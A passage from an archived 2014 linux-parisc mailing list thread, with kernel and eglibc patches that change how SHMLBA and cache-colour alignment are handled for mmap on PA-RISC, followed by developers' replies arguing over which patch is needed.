-		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
+		if (old_addr == 0 || (old_addr & (SHM_COLOUR - 1)) != (addr & (SHM_COLOUR - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
 			if (old_addr)
 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index b7cadc4..31ffa9b 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -45,7 +45,7 @@
 
 static int get_offset(unsigned int last_mmap)
 {
-	return (last_mmap & (SHMLBA-1)) >> PAGE_SHIFT;
+	return (last_mmap & (SHM_COLOUR-1)) >> PAGE_SHIFT;
 }
 
 static unsigned long shared_align_offset(unsigned int last_mmap,
@@ -57,8 +57,8 @@ static unsigned long shared_align_offset(unsigned int last_mmap,
 static inline unsigned long COLOR_ALIGN(unsigned long addr,
 			 unsigned int last_mmap, unsigned long pgoff)
 {
-	unsigned long base = (addr+SHMLBA-1) & ~(SHMLBA-1);
-	unsigned long off  = (SHMLBA-1) &
+	unsigned long base = (addr+SHM_COLOUR-1) & ~(SHM_COLOUR-1);
+	unsigned long off  = (SHM_COLOUR-1) &
 		(shared_align_offset(last_mmap, pgoff) << PAGE_SHIFT);
 
 	return base + off;
@@ -101,7 +101,7 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 	if (flags & MAP_FIXED) {
 		if ((flags & MAP_SHARED) && last_mmap &&
 		    (addr - shared_align_offset(last_mmap, pgoff))
-				& (SHMLBA - 1))
+				& (SHM_COLOUR - 1))
 			return -EINVAL;
 		goto found_addr;
 	}
@@ -122,7 +122,7 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 	info.length = len;
 	info.low_limit = mm->mmap_legacy_base;
 	info.high_limit = mmap_upper_limit();
-	info.align_mask = last_mmap ? (PAGE_MASK & (SHMLBA - 1)) : 0;
+	info.align_mask = last_mmap ? (PAGE_MASK & (SHM_COLOUR - 1)) : 0;
 	info.align_offset = shared_align_offset(last_mmap, pgoff);
 	addr = vm_unmapped_area(&info);
 
@@ -161,7 +161,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 	if (flags & MAP_FIXED) {
 		if ((flags & MAP_SHARED) && last_mmap &&
 		    (addr - shared_align_offset(last_mmap, pgoff))
-			& (SHMLBA - 1))
+			& (SHM_COLOUR - 1))
 			return -EINVAL;
 		goto found_addr;
 	}
@@ -182,7 +182,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 	info.length = len;
 	info.low_limit = PAGE_SIZE;
 	info.high_limit = mm->mmap_base;
-	info.align_mask = last_mmap ? (PAGE_MASK & (SHMLBA - 1)) : 0;
+	info.align_mask = last_mmap ? (PAGE_MASK & (SHM_COLOUR - 1)) : 0;
 	info.align_offset = shared_align_offset(last_mmap, pgoff);
 	addr = vm_unmapped_area(&info);
 	if (!(addr & ~PAGE_MASK))

--------------030402020607000106090508
Content-Type: text/x-patch;
 name="eglibc.shmlba.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="eglibc.shmlba.patch"

diff -up ./ports/sysdeps/unix/sysv/linux/hppa/bits/shm.h.org ./ports/sysdeps/unix/sysv/linux/hppa/bits/shm.h
--- ./ports/sysdeps/unix/sysv/linux/hppa/bits/shm.h.org	2014-04-03 13:20:43.644098000 -0600
+++ ./ports/sysdeps/unix/sysv/linux/hppa/bits/shm.h	2014-04-03 13:22:15.840098000 -0600
@@ -36,7 +36,7 @@
 #define SHM_UNLOCK	12		/* unlock segment (root only) */
 
 /* Segment low boundary address multiple.  */
-#define SHMLBA 0x00400000		/* address needs to be 4 Mb aligned */
+#define SHMLBA		(__getpagesize ())
 
 /* Type to count number of attaches.  */
 typedef unsigned long int shmatt_t;

--------------030402020607000106090508--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Thu, 3 Apr 2014 16:03:14 -0400
Lines: 70
Approved: news@gmane.org
Message-ID: <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>	<BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>	<201312191619.05005.vapier@gentoo.org>	<5313A12E.7010307@gmx.de>	<20140401182627.GA3285@drone.musicnaut.iki.fi>	<533B0A57.2060700@gmx.de> <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com> <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl> <533DB961.9010607@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1396555368 32570 80.91.229.3 (3 Apr 2014 20:02:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Apr 2014 20:02:48 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
	Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 03 22:02:42 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WVnqT-0007jr-4n
	for glpp-linux-parisc@plane.gmane.org; Thu, 03 Apr 2014 22:02:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753562AbaDCUCk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Apr 2014 16:02:40 -0400
Original-Received: from blu0-omc4-s14.blu0.hotmail.com ([65.55.111.153]:41980 "EHLO
	blu0-omc4-s14.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753541AbaDCUCj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Apr 2014 16:02:39 -0400
Original-Received: from BLU0-SMTP72 ([65.55.111.135]) by blu0-omc4-s14.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 3 Apr 2014 13:02:38 -0700
X-TMN: [Gz9eNdMyNPQtAvK4NYirSQu4aEId+IaM]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([74.12.154.15]) by BLU0-SMTP72.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 3 Apr 2014 13:02:37 -0700
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.4.0
In-Reply-To: <533DB961.9010607@gmx.de>
X-OriginalArrivalTime: 03 Apr 2014 20:02:37.0531 (UTC) FILETIME=[A93132B0:01CF4F77]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5749
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5749>

On 4/3/2014 3:41 PM, Helge Deller wrote:
> On 04/02/2014 11:41 PM, John David Anglin wrote:
>> On 4/2/2014 5:09 PM, Helge Deller wrote:
>>> On 04/02/2014 09:09 PM, Carlos O'Donell wrote:
>>>> On Tue, Apr 1, 2014 at 2:49 PM, Helge Deller <deller@gmx.de> wrote:
>>>>> Yes.
>>>>> But it's not a kernel bug. Kernel 3.14 and previous stable releases are OK.
>>>>>
>>>>> I did proposed a glibc change in my previous mail (http://www.spinics.net/lists/linux-parisc/msg05384.html).
>>>>> Debian bug report with patch is here:
>>>>> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=741243
>>>>>
>>>>> And this is what I proposed:
>>>>>
>>>>> A trivial FIX/workaround would be to change libc-mmap.h like this:
>>>>> #ifdef __hppa__
>>>>> #define MAP_FIXED_ALIGNMENT 4096
>>>>> #else
>>>>> #define MAP_FIXED_ALIGNMENT SHMLBA
>>>>> #endif
>>>>>
>>>>> That works because then the new aligned address is then the same as the original
>>>>> (the mmap call returns 4k aligned addresses, so it stays unchanged), but I'm not sure
>>>>> if such a patch would be acceptable.
>>>>> Do you have another idea/proposal?
>>>> The responsibility for fixing this falls to me, but I've been busy.
>>> No problem.
>>>
>>>> If someone wants to propose a patch for glibc please email
>>>> libc-alpha@sourceware.org, TO me, and I'll review and commit the patch
>>>> granted that you show you've done the appropriate testing.
>>>>
>>>> Otherwise I'll get to this at some point in the next couple of weeks :-(
>>> Hi Carlos,
>>>
>>> I'm not really sure if my patch is the best way to go. Technically it's correct
>>> and it's tested since all our debian buildservers currently run with this patch.
>>> But all other options would probably involve more code changes.
>>>
>>> So, I think I'm happy if you can look at it at some point when you find time.
>>> Your input would be very valuable here.
>> I'm wondering if kernel value for SHMLBA shouldn't change to PAGE_SIZE to better
>> reflect that attach addresses are page aligned.  The color alignment for shared maps
>> seems a separate issue which maybe userspace doesn't need to worry about.
> I think this is a very interesting idea and it should be pretty simple!
>
> The attached patch for eglibc should resolve it.
> And the attached patch for kernel isn't necessary, but makes it clear that the colouring is important.
>   
> I did tested the kernel patch - and it seems to work without problems.
>
> I'm not sure if this might introduce userspace compile problems though (although unlikely).
Very nice!  In our current Debian eglibc build, SHMLBA is set to 4096.
So, it should work just fine with the kernel patch.  The buildds have 
been running for some time
and I'm not aware of any mmap issues aside from the pthread_create 
ENOMEM errors.

Do you think this helps the allocation of small maps (perl locale test bug)?

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Thu, 3 Apr 2014 16:12:03 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <BLU0-SMTP173C739CD0C1E1CE4E403D976C0@phx.gbl>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>	<BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>	<201312191619.05005.vapier@gentoo.org>	<5313A12E.7010307@gmx.de>	<20140401182627.GA3285@drone.musicnaut.iki.fi>	<533B0A57.2060700@gmx.de> <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com> <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl> <533DB961.9010607@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1396555911 6940 80.91.229.3 (3 Apr 2014 20:11:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Apr 2014 20:11:51 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
	Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 03 22:11:44 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WVnz7-0006d3-44
	for glpp-linux-parisc@plane.gmane.org; Thu, 03 Apr 2014 22:11:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753549AbaDCULb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Apr 2014 16:11:31 -0400
Original-Received: from blu0-omc4-s6.blu0.hotmail.com ([65.55.111.145]:21579 "EHLO
	blu0-omc4-s6.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753266AbaDCUL2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Apr 2014 16:11:28 -0400
Original-Received: from BLU0-SMTP17 ([65.55.111.136]) by blu0-omc4-s6.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 3 Apr 2014 13:11:27 -0700
X-TMN: [SmCEp5l14D4P6IM//oRmJ1KzatGGQklo]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([74.12.154.15]) by BLU0-SMTP17.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 3 Apr 2014 13:11:26 -0700
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.4.0
In-Reply-To: <533DB961.9010607@gmx.de>
X-OriginalArrivalTime: 03 Apr 2014 20:11:26.0368 (UTC) FILETIME=[E4675200:01CF4F78]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5750
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5750>

On 4/3/2014 3:41 PM, Helge Deller wrote:
> And the attached patch for kernel isn't necessary, but makes it clear that the colouring is important.
Regarding the kernel patch, I see you have used the British/Canadian 
spelling
of "colour" :-)

I thinking changing SHMLBA does affect things in other parts of the kernel.
That's why I was uncertain whether it would work.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Thu, 03 Apr 2014 22:26:16 +0200
Lines: 81
Approved: news@gmane.org
Message-ID: <533DC3E8.5010701@gmx.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>	<BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>	<201312191619.05005.vapier@gentoo.org>	<5313A12E.7010307@gmx.de>	<20140401182627.GA3285@drone.musicnaut.iki.fi>	<533B0A57.2060700@gmx.de> <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com> <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl> <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1396556791 18124 80.91.229.3 (3 Apr 2014 20:26:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Apr 2014 20:26:31 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>,
	Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 03 22:26:24 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WVoDP-00024e-Nb
	for glpp-linux-parisc@plane.gmane.org; Thu, 03 Apr 2014 22:26:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753607AbaDCU0W (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Apr 2014 16:26:22 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:55926 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753602AbaDCU0W (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Apr 2014 16:26:22 -0400
Original-Received: from [192.168.178.60] ([84.173.13.175]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0Lt2BW-1XBzQh2Cz4-012XYd; Thu, 03 Apr 2014 22:26:17
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0
In-Reply-To: <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:a2uCjwn/Ak42fkjh85cB23eyZgc8ljrypdBCy1MIggbRpro7tlo
 iv8DaSRHqDI/U45uCIvq6snI4oT0Idlgk7fUfr2EsNbE5hX7YTwg6XzShzz/7SiBrzNOh9l
 gBQWfpQhMNf2Nz76MzkUwycPmkOHQKYVbBt6Y1gO7xruAfWF9vi1a/RvphZG5DjpqSikdU6
 MbcXOhWwNCPzT8SPX//rA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5751
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5751>

On 04/03/2014 10:03 PM, John David Anglin wrote:
> On 4/3/2014 3:41 PM, Helge Deller wrote:
>> On 04/02/2014 11:41 PM, John David Anglin wrote:
>>> On 4/2/2014 5:09 PM, Helge Deller wrote:
>>>> On 04/02/2014 09:09 PM, Carlos O'Donell wrote:
>>>>> On Tue, Apr 1, 2014 at 2:49 PM, Helge Deller <deller@gmx.de> wrote:
>>>>>> Yes.
>>>>>> But it's not a kernel bug. Kernel 3.14 and previous stable releases are OK.
>>>>>>
>>>>>> I did proposed a glibc change in my previous mail (http://www.spinics.net/lists/linux-parisc/msg05384.html).
>>>>>> Debian bug report with patch is here:
>>>>>> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=741243
>>>>>>
>>>>>> And this is what I proposed:
>>>>>>
>>>>>> A trivial FIX/workaround would be to change libc-mmap.h like this:
>>>>>> #ifdef __hppa__
>>>>>> #define MAP_FIXED_ALIGNMENT 4096
>>>>>> #else
>>>>>> #define MAP_FIXED_ALIGNMENT SHMLBA
>>>>>> #endif
>>>>>>
>>>>>> That works because then the new aligned address is then the same as the original
>>>>>> (the mmap call returns 4k aligned addresses, so it stays unchanged), but I'm not sure
>>>>>> if such a patch would be acceptable.
>>>>>> Do you have another idea/proposal?
>>>>> The responsibility for fixing this falls to me, but I've been busy.
>>>> No problem.
>>>>
>>>>> If someone wants to propose a patch for glibc please email
>>>>> libc-alpha@sourceware.org, TO me, and I'll review and commit the patch
>>>>> granted that you show you've done the appropriate testing.
>>>>>
>>>>> Otherwise I'll get to this at some point in the next couple of weeks :-(
>>>> Hi Carlos,
>>>>
>>>> I'm not really sure if my patch is the best way to go. Technically it's correct
>>>> and it's tested since all our debian buildservers currently run with this patch.
>>>> But all other options would probably involve more code changes.
>>>>
>>>> So, I think I'm happy if you can look at it at some point when you find time.
>>>> Your input would be very valuable here.
>>> I'm wondering if kernel value for SHMLBA shouldn't change to PAGE_SIZE to better
>>> reflect that attach addresses are page aligned.  The color alignment for shared maps
>>> seems a separate issue which maybe userspace doesn't need to worry about.
>> I think this is a very interesting idea and it should be pretty simple!
>>
>> The attached patch for eglibc should resolve it.
>> And the attached patch for kernel isn't necessary, but makes it clear that the colouring is important.
>>   I did tested the kernel patch - and it seems to work without problems.
>>
>> I'm not sure if this might introduce userspace compile problems though (although unlikely).

> Very nice!  In our current Debian eglibc build, SHMLBA is set to 4096.

*No*, it's not!
In current eglibc it's set to 0x00400000
That's what my eglibc-patch changes...
I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).

> So, it should work just fine with the kernel patch. 

No, the kernel patch isn't necessary. Only the glibc patch.

> The buildds have been running for some time
> and I'm not aware of any mmap issues aside from the pthread_create ENOMEM errors.

True - we need to find the cause.
I just suspected the arch_get_unmapped_area() kernel functions, but they seem correct.
 
> Do you think this helps the allocation of small maps (perl locale test bug)?

No. Only my other (unfinished) patches will resolve this.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Thu, 03 Apr 2014 22:27:50 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <533DC446.30903@gmx.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>	<BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>	<201312191619.05005.vapier@gentoo.org>	<5313A12E.7010307@gmx.de>	<20140401182627.GA3285@drone.musicnaut.iki.fi>	<533B0A57.2060700@gmx.de> <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com> <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl> <533DB961.9010607@gmx.de> <BLU0-SMTP173C739CD0C1E1CE4E403D976C0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1396556882 19193 80.91.229.3 (3 Apr 2014 20:28:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Apr 2014 20:28:02 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>,
	Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 03 22:27:55 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WVoEs-0003Ma-7h
	for glpp-linux-parisc@plane.gmane.org; Thu, 03 Apr 2014 22:27:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753497AbaDCU1x (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Apr 2014 16:27:53 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:65445 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753483AbaDCU1w (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Apr 2014 16:27:52 -0400
Original-Received: from [192.168.178.60] ([84.173.13.175]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0Ld0jY-1Ww6a70L9U-00iABb; Thu, 03 Apr 2014 22:27:51
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0
In-Reply-To: <BLU0-SMTP173C739CD0C1E1CE4E403D976C0@phx.gbl>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:20zDelqvTfj9slMJLef4rEFhx9SwFKxZf/4BNHZKomRiJqpd3Q5
 TlCqRccabYhZjXUWqgyOwo/RYJGa9LLS4KilKy28ELWNPGdDR4YLmDLGF3jAQS0BPZakKPp
 adOK6taRn+VsgFWWSIdGY2dJlDIQOzKpl0gg0bbR1DsTa6IxDsCQcS2h2pqXbAMNqYRS+63
 XqgAeN47VfFYNZBYmaUww==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5752
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5752>

On 04/03/2014 10:12 PM, John David Anglin wrote:
> On 4/3/2014 3:41 PM, Helge Deller wrote:
>> And the attached patch for kernel isn't necessary, but makes it clear that the colouring is important.
> Regarding the kernel patch, I see you have used the British/Canadian spelling
> of "colour" :-)

Yeah - seems to be commonly used in similiar parts of the kernel for other arches.
If you have a better idea/naming, please let me know.
 
> I thinking changing SHMLBA does affect things in other parts of the kernel.
> That's why I was uncertain whether it would work.

I scanned it. It's used very little, and shouldn't affect us.

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped
 address
Date: Fri, 4 Apr 2014 17:45:04 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20140404174504.1ed30281@marga.jer-c2.orkz.net>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
	<BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>
	<201312191619.05005.vapier@gentoo.org>
	<5313A12E.7010307@gmx.de>
	<20140401182627.GA3285@drone.musicnaut.iki.fi>
	<533B0A57.2060700@gmx.de>
	<CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>
	<533C7C9A.5080703@gmx.de>
	<BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>
	<533DB961.9010607@gmx.de>
	<BLU0-SMTP173C739CD0C1E1CE4E403D976C0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1396626330 9995 80.91.229.3 (4 Apr 2014 15:45:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 4 Apr 2014 15:45:30 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"Carlos O'Donell" <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 04 17:45:22 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WW6Iy-0000OR-O6
	for glpp-linux-parisc@plane.gmane.org; Fri, 04 Apr 2014 17:45:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753794AbaDDPpS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Apr 2014 11:45:18 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:33239 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753761AbaDDPpO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Apr 2014 11:45:14 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 886E933FDCD;
